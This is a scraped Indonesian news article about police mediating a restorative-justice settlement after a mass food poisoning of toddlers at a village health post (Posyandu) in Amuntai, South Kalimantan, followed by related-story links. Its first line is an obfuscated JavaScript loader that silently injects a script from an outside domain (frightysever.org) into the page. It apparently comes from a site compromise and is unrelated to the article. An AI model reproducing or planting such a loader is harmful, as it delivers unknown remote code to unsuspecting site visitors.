(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Pasca kasus keracunan massal yang terjadi pada acara pemberian makanan tambahan Posyandu di Desa Datu Kuning, Kecamatan Amuntai Tengah, Polsek Amuntai Tengah menangani kasus tersebut berupaya menyelesaikan penanganan dengan menggelar “restorative justise” mediasi.
Kapolres HSU AKBP Afri Darmawan SIK MH melalui Kapolsek Amuntai Kota Ipda Doni Hermawan SH mengatakan bahwa jalan mediasi ini diambil atas dasar kesepakatan semua pihak yang dilaksanakan di Kantor Desa Datu Kuning, Kamis (11/3/2021) lalu.
“Sesuai permintaan berbagai pihak terkait keracunan massal, sehingga diadakan restorative justise, kita bentuk mediasi musyawarah terkait terjadinya keracunan massal yang terjadi pada Senin 8 Maret 2021 kemarin di Desa Datu Kuning,” ujar
Kapolsek Amuntai Kota Ipda Doni Herawan. kepada Kanalkalimantan.com, Jumat (12/3/2021).
Hal tersebut menurutnya, sesuai dengan penyelesaian permasalahan hukum di luar pengadilan restorative justise yang merupakan salah satu program kerja Kapolri Jenderal Polisi Listiyo Sigit Prabowo.
Meski peristiwa tersebut tidak tidak menimbulkan korban jiwa, dan seluruh korban telah kembali ke rumah masing-masing, setelah dinyatakan sembuh oleh Puskesmas Alabio dan RSUD Pembalah Batung.
Pihaknya berupaya memediasi antara pihak korban dengan aparat desa dan kader Posyandu desa setempat, termasuk RU dan HE selaku petugas menyiapkan makanan saat pelaksanaan Posyandu yang mengakibatkan keracunan massal tersebut.
Alhasil atas inisiatif dan kemauan berbagai pihak termasuk kedua belah pihak sepakat diadakan musyawarah yang berujung pada kesepakatan damai.
“Kita mengedepankan pendekatan integral antara pelaku dengan korban dan masyarakat sebagai satu kesatuan untuk mencari solusi serta kembali pada pola hubungan baik dalam masyarakat,” ujar Kapolsek Amuntai Kota.
Selain itu, ia mengharapkan agar kedepannya lebih waspada agar kejadian ini tidak terulang.
“Untuk itu mari kita sama-sama menciptakan situasi kamtibmas yang aman kondusif, terutama saat ini masih pandemi Covid-19 agar mengikuti anjuran pemerintah dan tetap menerapkan protokol kesehatan,” pungkasnya.
Belakangan diketahui, kejadian keracunan massal tersebut berawal saat dilaksanakannya kegiatan Posyandu di Desa Datu Kuning
Dalam kegiatan tersebut dibagikan makanan tambahan berupa nasi sop dan nasi kotak oleh RU dan HE selaku petugas penyedia makanan tambahan. Memang pemberian makanan tambahan itu sudah rutin tiap kali diadakan kegiatan Posyandu.
Setelah kegiatan usai, beberapa orangtua melaporkan kepada aparat desa bahwa anak-anak mereka mengalami muntah-muntah, sehingga para korban yang notabene merupakan anak balita tersebut akhirnya dilarikan ke Puskesmas Alabio dan ke RSUD Pembalah Batung Amuntai.(kanalkalimantan.com/dew)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.